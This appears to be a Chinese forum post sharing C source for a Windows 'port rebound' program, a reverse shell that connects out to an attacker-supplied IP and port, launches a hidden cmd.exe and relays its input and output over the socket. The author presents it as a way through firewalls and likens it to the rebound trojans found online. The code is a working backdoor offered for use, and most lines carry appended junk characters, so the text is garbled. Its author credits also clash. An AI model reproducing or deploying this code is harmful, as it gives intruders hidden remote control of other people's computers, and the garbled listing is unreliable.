Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 OyF=G^w  
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/* ============================== } &B6  
Rebound port in Windows NT ypx~WXFK  
By wind,2006/7 W
.MZN4=  
===============================*/ 45sEhs[$  
#include ld@+p  
#include e
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#pragma comment(lib,"wsock32.lib") i7XY3yhC  
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void OutputShell(); r)pt(*KHo  
SOCKET sClient; jts0ZFHc-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iX]OF.:   
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void main(int argc,char **argv) _ZK^JS  
{ N*}soMPV^.  
WSADATA stWsaData; >5Yn`Fc5  
int nRet; '-YiV  
SOCKADDR_IN stSaiClient,stSaiServer; *VsVCUCz5*  
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if(argc != 3) P'lnS&yA  
{ t-iXY0%&  
printf("Useage:\n\rRebound DestIP DestPort\n"); b;UBvwY_  
return; ;+E]F8G9r  
} '7sf)0\:<p  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <-`.u`  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k773h`;  
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stSaiClient.sin_family = AF_INET; cQj`W *  
stSaiClient.sin_port = htons(0); I"88O4\@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GHcx@||C?  
{ 5lG\Z?  
printf("Bind Socket Failed!\n"); 7sxX?u  
return; 'Z4}O_5_  
} ]u|v7}I4  
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stSaiServer.sin_family = AF_INET; SWV*w[X<X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U.Mfu9}#:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )OV0YfO  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) iH }-  
{ Xkhd"Axi  
printf("Connect Error!"); pY"WW0p"C  
return; ls^Z"9P  
} = UH3.  
OutputShell(); [ ulub|  
} ][$I~nRf  
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void OutputShell() Q%JI-&K  
{ >>P5 4|&  
char szBuff[1024]; <
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SECURITY_ATTRIBUTES stSecurityAttributes; Ds">eNq  
OSVERSIONINFO stOsversionInfo; +)sX8zb*gY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lA5Dag'  
STARTUPINFO stStartupInfo; n^4R]9U  
char *szShell; (?r,pAc:  
PROCESS_INFORMATION stProcessInformation; SV>tw
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unsigned long lBytesRead; =9jK\ T^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <giBL L!  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d&j  
stSecurityAttributes.lpSecurityDescriptor = 0; xak)YOLRV  
stSecurityAttributes.bInheritHandle = TRUE; }L_YpG7  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t@qf/1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  rL{R=0  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]y0Y(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }<04\t?  
stStartupInfo.wShowWindow = SW_HIDE; SndR:{  
stStartupInfo.hStdInput = hReadPipe; ODxZO3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WTfjn|a  
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GetVersionEx(&stOsversionInfo); j<p.#jkT  
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switch(stOsversionInfo.dwPlatformId) M|*YeVs9#  
{ XIdh9)]^}  
case 1: 32YbBGDN!f  
szShell = "command.com"; [s(D==8  
break; 7Z6=e6/\  
default: ,|]JaZq  
szShell = "cmd.exe"; ~#pATPW@
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break; p~$c
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} O(T5  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _%nz-I  
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send(sClient,szMsg,77,0); v-{g  
while(1) %2}fW\%'  
{ X;I9\Cp]!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .{V"Gn9!  
if(lBytesRead) $'J3 /C7  
{ QKG3>lU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3Qy@^"  
send(sClient,szBuff,lBytesRead,0); q)k:pQ   
} KNVu[P)rv  
else 928_e)V  
{ ue_wuZi  
lBytesRead=recv(sClient,szBuff,1024,0); mJSfn"b}K  
if(lBytesRead<=0) break; c#n 2
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }s~c(sL?;  
} Y sM*d  
} 6cH8Jr _  
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return; }t H$:Z  
}